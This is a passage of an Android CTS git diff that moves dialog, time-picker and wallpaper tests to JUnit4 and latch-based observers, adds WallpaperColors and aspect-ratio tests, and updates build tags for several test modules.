+         * Starts observing event.
+         * The returned CountDownLatch will get activated when onObserved is invoked after this
+         * call. The method cannot be called multiple times unless reset() is invoked.
+         * @return CountDownLatch will get activated when onObserved is invoked after this call.
+         */
+        public void startObserving() {
+            final CountDownLatch latch = new CountDownLatch(1);
+            assertTrue(mLatch.compareAndSet(null, latch));
+        }
+
+        /**
+         * Waits until onObserved is invoked.
+         */
+        public void await() throws InterruptedException {
+            try {
+                assertTrue(mLatch.get().await(TIMEOUT_SEC, TimeUnit.SECONDS));
+            } finally {
+                mLatch.set(null);
+            }
+        }
+
+        /**
+         * Notifies an event is observed.
+         * If this method is invoked after startObserving, the returned CountDownLatch will get
+         * activated. Otherwise it does nothing.
+         */
+        public void onObserved() {
+            final CountDownLatch latch = mLatch.get();
+            if (latch != null) {
+                latch.countDown();
+            }
         }
     }
 }
diff --git a/tests/app/app/src/android/app/stubs/TestDialog.java b/tests/app/app/src/android/app/stubs/TestDialog.java
index e404e65..18ef3be 100644
--- a/tests/app/app/src/android/app/stubs/TestDialog.java
+++ b/tests/app/app/src/android/app/stubs/TestDialog.java
@@ -50,8 +50,10 @@
     public boolean isOnKeyDownCalled;
     public boolean isOnKeyUpCalled;
     public boolean isOnKeyMultipleCalled;
-    public boolean isOnSaveInstanceStateCalled;
-    public static boolean isOnRestoreInstanceStateCalled;
+    public final OrientationTestUtils.Observer onSaveInstanceStateObserver =
+            new OrientationTestUtils.Observer();
+    public final static OrientationTestUtils.Observer onRestoreInstanceStateObserver =
+            new OrientationTestUtils.Observer();
     public boolean isOnWindowAttributesChangedCalled;
     public boolean isOnCreatePanelMenuCalled;
     public boolean isOnCreatePanelViewCalled;
@@ -167,16 +169,15 @@
 
     @Override
     public Bundle onSaveInstanceState() {
-        isOnSaveInstanceStateCalled = true;
         saveInstanceState = super.onSaveInstanceState();
+        onSaveInstanceStateObserver.onObserved();
         return saveInstanceState;
     }
 
     @Override
     public void onRestoreInstanceState(Bundle savedInstanceState) {
-        isOnRestoreInstanceStateCalled = true;
         this.savedInstanceState = savedInstanceState;
-
+        onRestoreInstanceStateObserver.onObserved();
         super.onRestoreInstanceState(savedInstanceState);
     }
 
diff --git a/tests/app/app2/Android.mk b/tests/app/app2/Android.mk
index 794c689..6c5ea7c 100644
--- a/tests/app/app2/Android.mk
+++ b/tests/app/app2/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsAppTestStubsDifferentUid
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/tests/app/appSdk25/Android.mk b/tests/app/appSdk25/Android.mk
index 64eda91..e08de21 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/tests/app/appSdk25/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SDK_VERSION := 25
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAppTestSdk25
 
diff --git a/tests/app/src/android/app/cts/AspectRatioTests.java b/tests/app/src/android/app/cts/AspectRatioTests.java
index 5bd8cf9..705ab93 100644
--- a/tests/app/src/android/app/cts/AspectRatioTests.java
+++ b/tests/app/src/android/app/cts/AspectRatioTests.java
@@ -16,6 +16,7 @@
 
 package android.app.cts;
 
+import android.app.stubs.MetaDataMaxAspectRatioActivity;
 import com.android.appSdk25.Sdk25MaxAspectRatioActivity;
 
 import org.junit.After;
@@ -77,6 +78,11 @@
                     false /* initialTouchMode */, false /* launchActivity */);
 
     @Rule
+    public ActivityTestRule<MetaDataMaxAspectRatioActivity> mMetaDataMaxAspectRatioActivity =
+        new ActivityTestRule<>(MetaDataMaxAspectRatioActivity.class,
+            false /* initialTouchMode */, false /* launchActivity */);
+
+    @Rule
     public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
             new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
                     false /* initialTouchMode */, false /* launchActivity */);
@@ -102,6 +108,7 @@
         finishActivity(mMaxAspectRatioResizeableActivity);
         finishActivity(mSdk25MaxAspectRatioActivity);
         finishActivity(mMaxAspectRatioUnsetActivity);
+        finishActivity(mMetaDataMaxAspectRatioActivity);
     }
 
     @Test
@@ -136,6 +143,16 @@
     }
 
     @Test
+    @Presubmit
+    public void testMetaDataMaxAspectRatio() throws Exception {
+        runTest(launchActivity(mMetaDataMaxAspectRatioActivity),
+            actual -> {
+                if (MAX_ASPECT_RATIO >= actual) return;
+                fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+            });
+    }
+
+    @Test
     // TODO: Currently 10% flaky so not part of pre-submit for now
     public void testMaxAspectRatioResizeableActivity() throws Exception {
         final Context context = InstrumentationRegistry.getInstrumentation().getContext();
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index 42b1fed..c16101f 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -210,13 +210,10 @@
         assertFalse(d.isShowing());
     }
 
-    public void testOnSaveInstanceState() {
+    public void testOnSaveInstanceState() throws InterruptedException {
         startDialogActivity(DialogStubActivity.TEST_ONSTART_AND_ONSTOP);
         final TestDialog d = (TestDialog) mActivity.getDialog();
 
-        assertFalse(d.isOnSaveInstanceStateCalled);
-        assertFalse(TestDialog.isOnRestoreInstanceStateCalled);
-
         //skip if the device doesn't support both of portrait and landscape orientation screens.
         final PackageManager pm = mContext.getPackageManager();
         if(!(pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
@@ -224,10 +221,11 @@
             return;
         }
 
-        OrientationTestUtils.toggleOrientationSync(mActivity, mInstrumentation);
-
-        assertTrue(d.isOnSaveInstanceStateCalled);
-        assertTrue(TestDialog.isOnRestoreInstanceStateCalled);
+        d.onSaveInstanceStateObserver.startObserving();
+        TestDialog.onRestoreInstanceStateObserver.startObserving();
+        OrientationTestUtils.toggleOrientation(mActivity);
+        d.onSaveInstanceStateObserver.await();
+        TestDialog.onRestoreInstanceStateObserver.await();
     }
 
     public void testGetCurrentFocus() throws Throwable {
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index e3ce544..6d7fdeb 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -55,7 +55,9 @@
         final int origHeight = origDisplay.getHeight();
 
         // Change orientation
-        OrientationTestUtils.switchOrientation(mActivity, mInstrumentation);
+        mActivity.configurationChangeObserver.startObserving();
+        OrientationTestUtils.switchOrientation(mActivity);
+        mActivity.configurationChangeObserver.await();
 
         // Get a {@link Display} instance after rotation.
         final Display updatedDisplay = mActivity.getDisplay();
diff --git a/tests/app/src/android/app/cts/TimePickerDialogTest.java b/tests/app/src/android/app/cts/TimePickerDialogTest.java
index 3da25ab..47a666c 100644
--- a/tests/app/src/android/app/cts/TimePickerDialogTest.java
+++ b/tests/app/src/android/app/cts/TimePickerDialogTest.java
@@ -16,21 +16,31 @@
 
 package android.app.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.AlertDialog;
 import android.app.TimePickerDialog;
 import android.app.TimePickerDialog.OnTimeSetListener;
-import android.app.stubs.DialogStubActivity;
+import android.app.stubs.R;
 import android.content.Context;
 import android.os.Bundle;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.UiThreadTest;
+import android.test.suitebuilder.annotation.MediumTest;
 import android.widget.TimePicker;
 
-import android.app.stubs.R;
-
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 /**
  * Test {@link TimePickerDialog}.
  */
-public class TimePickerDialogTest extends ActivityInstrumentationTestCase2<DialogStubActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TimePickerDialogTest {
     private static final String HOUR = "hour";
     private static final String MINUTE = "minute";
     private static final String IS_24_HOUR = "is24hour";
@@ -44,17 +54,10 @@
     private OnTimeSetListener mOnTimeSetListener;
 
     private Context mContext;
-    private DialogStubActivity mActivity;
 
-    public TimePickerDialogTest() {
-        super("android.app.stubs", DialogStubActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContext = getInstrumentation().getContext();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
         mOnTimeSetListener = new OnTimeSetListener(){
             public void onTimeSet(TimePicker view, int hourOfDay, int minute) {
                 mCallbackHour = hourOfDay;
@@ -64,9 +67,31 @@
     }
 
     @UiThreadTest
+    @Test
+    public void testConstructor() {
+        new TimePickerDialog(mContext, null, 1, 1, false);
+
+        new TimePickerDialog(mContext, null, 1, 1, true);
+
+        new TimePickerDialog(mContext, AlertDialog.THEME_TRADITIONAL, null, 1, 1, false);
+
+        new TimePickerDialog(mContext, AlertDialog.THEME_HOLO_DARK, null, 1, 1, false);
+
+        new TimePickerDialog(mContext,
+                android.R.style.Theme_Material_Dialog_Alert, null, 1, 1, false);
+    }
+
+    @UiThreadTest
+    @Test(expected = NullPointerException.class)
+    public void testConstructorWithNullContext() {
+        new TimePickerDialog(null, null, 0, 0, false);
+    }
+
+    @UiThreadTest
+    @Test
     public void testSaveInstanceState() {
         TimePickerDialog tD = new TimePickerDialog(
-            mContext, mOnTimeSetListener, TARGET_HOUR, TARGET_MINUTE, true);
+                mContext, mOnTimeSetListener, TARGET_HOUR, TARGET_MINUTE, true);
 
         Bundle b = tD.onSaveInstanceState();
 
@@ -87,6 +112,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnClick() {
         TimePickerDialog timePickerDialog = buildDialog();
         timePickerDialog.onClick(null, TimePickerDialog.BUTTON_POSITIVE);
@@ -95,21 +121,16 @@
         assertEquals(TARGET_MINUTE, mCallbackMinute);
     }
 
+    @UiThreadTest
+    @Test
     public void testOnTimeChanged() throws Throwable {
         final int minute = 34;
-        startDialogActivity(DialogStubActivity.TEST_TIMEPICKERDIALOG);
-        final TimePickerDialog d = (TimePickerDialog) mActivity.getDialog();
-
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                d.onTimeChanged(null, TARGET_HOUR, minute);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-
+        final TimePickerDialog d = buildDialog();
+        d.onTimeChanged(null, TARGET_HOUR, minute);
     }
 
     @UiThreadTest
+    @Test
     public void testUpdateTime() {
         TimePickerDialog timePickerDialog = buildDialog();
         int minute = 18;
@@ -123,6 +144,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnRestoreInstanceState() {
         int minute = 27;
         Bundle b1 = new Bundle();
@@ -141,10 +163,6 @@
         assertFalse(b2.getBoolean(IS_24_HOUR));
     }
 
-    private void startDialogActivity(int dialogNumber) {
-        mActivity = DialogStubActivity.startDialogActivity(this, dialogNumber);
-    }
-
     private TimePickerDialog buildDialog() {
         return new TimePickerDialog(
                 mContext, mOnTimeSetListener, TARGET_HOUR, TARGET_MINUTE, true);
diff --git a/tests/app/src/android/app/cts/WallpaperColorsTest.java b/tests/app/src/android/app/cts/WallpaperColorsTest.java
new file mode 100644
index 0000000..105cae0
--- /dev/null
+++ b/tests/app/src/android/app/cts/WallpaperColorsTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.cts;
+
+import android.app.WallpaperColors;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.drawable.ColorDrawable;
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Pair;
+import android.util.Size;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class WallpaperColorsTest {
+
+    @Test
+    public void getWallpaperColorsTest() {
+        ArrayList<Color> colorList = new ArrayList<>();
+        colorList.add(Color.valueOf(Color.WHITE));
+        colorList.add(Color.valueOf(Color.BLACK));
+        colorList.add(Color.valueOf(Color.GREEN));
+
+        WallpaperColors colors = new WallpaperColors(colorList.get(0), colorList.get(1),
+                colorList.get(2));
+        Assert.assertSame(colors.getPrimaryColor(), colorList.get(0));
+        Assert.assertSame(colors.getSecondaryColor(), colorList.get(1));
+        Assert.assertSame(colors.getTertiaryColor(), colorList.get(2));
+    }
+
+    @Test
+    public void equalsTest() {
+        WallpaperColors colors1 = new WallpaperColors(Color.valueOf(Color.BLACK), null, null);
+        WallpaperColors colors2 = new WallpaperColors(Color.valueOf(Color.WHITE), null, null);
+
+        // Different colors
+        Assert.assertNotEquals(colors1, colors2);
+
+        // Same colors
+        WallpaperColors colors3 = new WallpaperColors(Color.valueOf(Color.BLACK), null, null);
+        Assert.assertEquals(colors1, colors3);
+    }
+
+    @Test
+    public void parcelTest() {
+        WallpaperColors wallpaperColors = new WallpaperColors(Color.valueOf(Color.WHITE),
+                Color.valueOf(Color.BLACK), Color.valueOf(Color.GREEN));
+
+        Parcel parcel = Parcel.obtain();
+        wallpaperColors.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        WallpaperColors newColors = new WallpaperColors(parcel);
+        Assert.assertEquals(wallpaperColors, newColors);
+        Assert.assertEquals(parcel.dataPosition(), parcel.dataSize());
+        parcel.recycle();
+    }
+
+    @Test
+    public void fromBitmapTest() {
+        Bitmap bmp = Bitmap.createBitmap(30, 30, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bmp);
+        canvas.drawColor(Color.GREEN);
+
+        WallpaperColors colors = WallpaperColors.fromBitmap(bmp);
+        Assert.assertNotNull(colors.getPrimaryColor());
+        Assert.assertNull(colors.getSecondaryColor());
+    }
+
+    @Test
+    public void fromDrawableTest() {
+        ColorDrawable drawable = new ColorDrawable(Color.GREEN);
+        drawable.setBounds(0, 0, 30, 30);
+
+        WallpaperColors colors = WallpaperColors.fromDrawable(drawable);
+        Assert.assertNotNull(colors.getPrimaryColor());
+        Assert.assertNull(colors.getSecondaryColor());
+    }
+
+}
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 9f66e15..c564c8b 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -16,23 +16,207 @@
 
 package android.app.cts;
 
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.ArgumentMatchers.nullable;
+import static org.mockito.Mockito.atLeast;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
+
+import android.app.WallpaperColors;
 import android.app.WallpaperManager;
+import android.content.BroadcastReceiver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
 import android.graphics.Point;
-import android.test.AndroidTestCase;
+import android.os.Handler;
+import android.os.Looper;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
 import android.view.Display;
 import android.view.WindowManager;
 
-public class WallpaperManagerTest extends AndroidTestCase {
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.MockitoAnnotations;
+
+import android.app.stubs.R;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class WallpaperManagerTest {
+
+    private static final boolean DEBUG = false;
+    private static final String TAG = "WallpaperManagerTest";
 
     private WallpaperManager mWallpaperManager;
+    private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        MockitoAnnotations.initMocks(this);
+        mContext = InstrumentationRegistry.getTargetContext();
         mWallpaperManager = WallpaperManager.getInstance(mContext);
     }
 
+    @Test
+    public void setBitmapTest() {
+        Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(tmpWallpaper);
+        canvas.drawColor(Color.RED);
+
+        try {
+            int which = WallpaperManager.FLAG_SYSTEM;
+            mWallpaperManager.setBitmap(tmpWallpaper);
+            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
+            canvas.drawColor(Color.GREEN);
+            mWallpaperManager.setBitmap(tmpWallpaper);
+            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
+            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        } finally {
+            tmpWallpaper.recycle();
+        }
+    }
+
+    @Test
+    public void setResourceTest() {
+        try {
+            int which = WallpaperManager.FLAG_SYSTEM;
+            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
+            mWallpaperManager.setResource(R.drawable.robot);
+            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
+            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @Test
+    public void wallpaperChangedBroadcastTest() {
+        Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(tmpWallpaper);
+        canvas.drawColor(Color.BLACK);
+
+        CountDownLatch latch = new CountDownLatch(1);
+        mContext.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                latch.countDown();
+            }
+        }, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+
+        try {
+            mWallpaperManager.setBitmap(tmpWallpaper);
+
+            // Wait for up to 5 sec since this is an async call.
+            // Should fail if Intent.ACTION_WALLPAPER_CHANGED isn't delivered.
+            if (!latch.await(5, TimeUnit.SECONDS)) {
+                throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
+            }
+        } catch (InterruptedException | IOException e) {
+            throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
+        } finally {
+            tmpWallpaper.recycle();
+        }
+    }
+
+    @Test
+    public void wallpaperClearBroadcastTest() {
+        CountDownLatch latch = new CountDownLatch(1);
+        mContext.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                latch.countDown();
+            }
+        }, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+
+        try {
+            mWallpaperManager.clear(WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM);
+
+            // Wait for 5 sec since this is an async call.
+            // Should fail if Intent.ACTION_WALLPAPER_CHANGED isn't delivered.
+            if (!latch.await(5, TimeUnit.SECONDS)) {
+                throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
+            }
+        } catch (InterruptedException | IOException e) {
+            throw new AssertionError(e);
+        }
+    }
+
+    @Test
+    public void invokeOnColorsChangedListenerTest_systemOnly() {
+        int both = WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM;
+        // Expect both since the first step is to migrate the current wallpaper
+        // to the lock screen.
+        verifyColorListenerInvoked(WallpaperManager.FLAG_SYSTEM, both);
+    }
+
+    @Test
+    public void invokeOnColorsChangedListenerTest_lockOnly() {
+        verifyColorListenerInvoked(WallpaperManager.FLAG_LOCK, WallpaperManager.FLAG_LOCK);
+    }
+
+    @Test
+    public void invokeOnColorsChangedListenerTest_both() {
+        int both = WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM;
+        verifyColorListenerInvoked(both, both);
+    }
+
+    @Test
+    public void invokeOnColorsChangedListenerTest_clearLock() throws IOException {
+        verifyColorListenerInvokedClearing(WallpaperManager.FLAG_LOCK);
+    }
+
+    @Test
+    public void invokeOnColorsChangedListenerTest_clearSystem() throws IOException {
+        verifyColorListenerInvokedClearing(WallpaperManager.FLAG_SYSTEM);
+    }
+
+    /**
+     * Removing a listener should not invoke it anymore
+     */
+    @Test
+    public void addRemoveOnColorsChangedListenerTest_onlyInvokeAdded() throws IOException {
+        ensureCleanState();
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        WallpaperManager.OnColorsChangedListener counter = (colors, whichWp) -> latch.countDown();
+
+        // Add and remove listener
+        WallpaperManager.OnColorsChangedListener listener = getTestableListener();
+        mWallpaperManager.addOnColorsChangedListener(listener);
+        mWallpaperManager.removeOnColorsChangedListener(listener);
+
+        // Verify that the listener is not called
+        mWallpaperManager.addOnColorsChangedListener(counter);
+        try {
+            mWallpaperManager.setResource(R.drawable.robot);
+            if (!latch.await(5, TimeUnit.SECONDS)) {
+                throw new AssertionError("Registered listener not invoked");
+            }
+        } catch (InterruptedException | IOException e) {
+            throw new RuntimeException(e);
+        }
+        verify(listener, never()).onColorsChanged(any(WallpaperColors.class), anyInt());
+        mWallpaperManager.removeOnColorsChangedListener(counter);
+    }
+
     /**
      * Suggesting desired dimensions is only a hint to the system that can be ignored.
      *
@@ -40,7 +224,8 @@
      * is greater than 0. If so, then we check whether that the size is at least the
      * as big as the screen.
      */
-    public void testSuggestDesiredDimensions() {
+    @Test
+    public void suggestDesiredDimensionsTest() {
         final Point min = getScreenSize();
         final int w = min.x * 3;
         final int h = min.y * 2;
@@ -58,19 +243,177 @@
         Point actualSize = new Point(mWallpaperManager.getDesiredMinimumWidth(),
                 mWallpaperManager.getDesiredMinimumHeight());
         if (actualSize.x > 0 || actualSize.y > 0) {
-            if((actualSize.x < minSize.x || actualSize.y < minSize.y)){
+            if ((actualSize.x < minSize.x || actualSize.y < minSize.y)) {
                 throw new AssertionError("Expected at least x: " + minSize.x + " y: "
-                                         + minSize.y + ", got x: " + actualSize.x +
-                                         " y: " + actualSize.y );
+                        + minSize.y + ", got x: " + actualSize.x +
+                        " y: " + actualSize.y);
             }
         }
     }
 
     private Point getScreenSize() {
-        WindowManager wm = (WindowManager)mContext.getSystemService(Context.WINDOW_SERVICE);
+        WindowManager wm = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
         Display d = wm.getDefaultDisplay();
         Point p = new Point();
         d.getRealSize(p);
         return p;
     }
-}
+
+    /**
+     * Helper to set a listener and verify if it was called with the same flags.
+     * Executes operation synchronously.
+     *
+     * @param which FLAG_LOCK, FLAG_SYSTEM or a combination of both.
+     */
+    private void verifyColorListenerInvoked(int which, int whichExpected) {
+        ensureCleanState();
+        int expected = 0;
+        if ((whichExpected & WallpaperManager.FLAG_LOCK) != 0) expected++;
+        if ((whichExpected & WallpaperManager.FLAG_SYSTEM) != 0) expected++;
+        ArrayList<Integer> received = new ArrayList<>();
+
+        final CountDownLatch latch = new CountDownLatch(expected);
+        Handler handler = new Handler(Looper.getMainLooper());
+
+        WallpaperManager.OnColorsChangedListener listener = getTestableListener();
+        WallpaperManager.OnColorsChangedListener counter = (colors, whichWp) -> {
+            handler.post(()-> {
+                received.add(whichWp);
+                boolean ok = false;
+                if ((whichWp & WallpaperManager.FLAG_LOCK) != 0 &&
+                        (whichExpected & WallpaperManager.FLAG_LOCK) != 0) {
+                    latch.countDown();
+                    ok = true;
+                }
+                if ((whichWp & WallpaperManager.FLAG_SYSTEM) != 0 &&
+                        (whichExpected & WallpaperManager.FLAG_SYSTEM) != 0) {
+                    latch.countDown();
+                    ok = true;
+                }
+                if (!ok) {
+                    throw new AssertionError("Unexpected which flag: " + whichWp +
+                            " should be: " + whichExpected);
+                }
+            });
+        };
+
+        mWallpaperManager.addOnColorsChangedListener(listener);
+        mWallpaperManager.addOnColorsChangedListener(counter);
+
+        try {
+            mWallpaperManager.setResource(R.drawable.robot, which);
+            if (!latch.await(5, TimeUnit.SECONDS)) {
+                throw new AssertionError("Didn't receive all color events. Expected: " +
+                        whichExpected + " received: " + received);
+            }
+        } catch (InterruptedException | IOException e) {
+            throw new RuntimeException(e);
+        }
+
+        mWallpaperManager.removeOnColorsChangedListener(listener);
+        mWallpaperManager.removeOnColorsChangedListener(counter);
+    }
+
+    /**
+     * Helper to clear a wallpaper synchronously.
+     *
+     * @param which FLAG_LOCK, FLAG_SYSTEM or a combination of both.
+     */
+    private void verifyColorListenerInvokedClearing(int which) {
+        ensureCleanState();
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        WallpaperManager.OnColorsChangedListener listener = getTestableListener();
+        WallpaperManager.OnColorsChangedListener counter = (colors, whichWp) -> {
+            latch.countDown();
+        };
+
+        mWallpaperManager.addOnColorsChangedListener(listener);
+        mWallpaperManager.addOnColorsChangedListener(counter);
+
+        try {
+            mWallpaperManager.clear(which);
+            latch.await(5, TimeUnit.SECONDS);
+        } catch (InterruptedException | IOException e) {
+            throw new RuntimeException(e);
+        }
+
+        verify(listener, atLeast(1))
+                .onColorsChanged(nullable(WallpaperColors.class), anyInt());
+
+        mWallpaperManager.removeOnColorsChangedListener(listener);
+        mWallpaperManager.removeOnColorsChangedListener(counter);
+    }
+
+    /**
+     * Helper method to make sure a wallpaper is set for both FLAG_SYSTEM and FLAG_LOCK
+     * and its callbacks were already called. Necessary to cleanup previous tests states.
+     *
+     * This is necessary to avoid race conditions between tests
+     */
+    private void ensureCleanState() {
+        Bitmap bmp = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+        // We expect 5 events to happen when we change a wallpaper:
+        // • Wallpaper changed
+        // • System colors are null
+        // • Lock colors are null
+        // • System colors are known
+        // • Lock colors are known
+        final int expectedEvents = 5;
+        CountDownLatch latch = new CountDownLatch(expectedEvents);
+        if (DEBUG) {
+            Log.d("WP", "Started latch expecting: " + latch.getCount());
+        }
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                latch.countDown();
+                if (DEBUG) {
+                    Log.d("WP", "broadcast state count down: " + latch.getCount());
+                }
+            }
+        };
+        WallpaperManager.OnColorsChangedListener callback = (colors, which) -> {
+            if ((which & WallpaperManager.FLAG_LOCK) != 0) {
+                latch.countDown();
+            }
+            if ((which & WallpaperManager.FLAG_SYSTEM) != 0) {
+                latch.countDown();
+            }
+            if (DEBUG) {
+                Log.d("WP", "color state count down: " + which + " - " + colors);
+            }
+        };
+        mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+        mWallpaperManager.addOnColorsChangedListener(callback);
+
+        try {
+            mWallpaperManager.setBitmap(bmp);
+
+            // Wait for up to 10 sec since this is an async call.
+            // Will pass as soon as the expected callbacks are executed.
+            latch.await(10, TimeUnit.SECONDS);
+            if (latch.getCount() != 0) {
+                Log.w(TAG, "Did not receive all events! This is probably a bug.");
+            }
+        } catch (InterruptedException | IOException e) {
+            throw new RuntimeException("Can't ensure a clean state.");
+        } finally {
+            mContext.unregisterReceiver(receiver);
+            mWallpaperManager.removeOnColorsChangedListener(callback);
+            bmp.recycle();
+        }
+    }
+
+    public WallpaperManager.OnColorsChangedListener getTestableListener() {
+        // Unfortunately mockito cannot mock anonymous classes or lambdas.
+        return spy(new TestableColorListener());
+    }
+
+    public class TestableColorListener implements WallpaperManager.OnColorsChangedListener {
+        @Override
+        public void onColorsChanged(WallpaperColors colors, int which) {
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/aslr/Android.mk b/tests/aslr/Android.mk
index 6ad636b..456b719 100644
--- a/tests/aslr/Android.mk
+++ b/tests/aslr/Android.mk
@@ -24,6 +24,8 @@
 LOCAL_SRC_FILES := \
     src/AslrMallocTest.cpp
 
+LOCAL_CFLAGS := -Wall -Werror
+
 LOCAL_SHARED_LIBRARIES := \
     libbase \
     libutils \
@@ -33,6 +35,6 @@
     libgtest
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/autofillservice/Android.mk b/tests/autofillservice/Android.mk
index 27a8cb5..788f976 100644
--- a/tests/autofillservice/Android.mk
+++ b/tests/autofillservice/Android.mk
@@ -33,7 +33,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAutoFillServiceTestCases
 
diff --git a/tests/autofillservice/AndroidTest.xml b/tests/autofillservice/AndroidTest.xml
index d4afbb3..73fffd2 100644
--- a/tests/autofillservice/AndroidTest.xml
+++ b/tests/autofillservice/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for AutoFill Framework CTS tests.">
-    <option name="config-descriptor:metadata" key="component" value="framework" />
+  <option name="test-suite-tag" value="cts" />
+  <option name="config-descriptor:metadata" key="component" value="framework" />
 
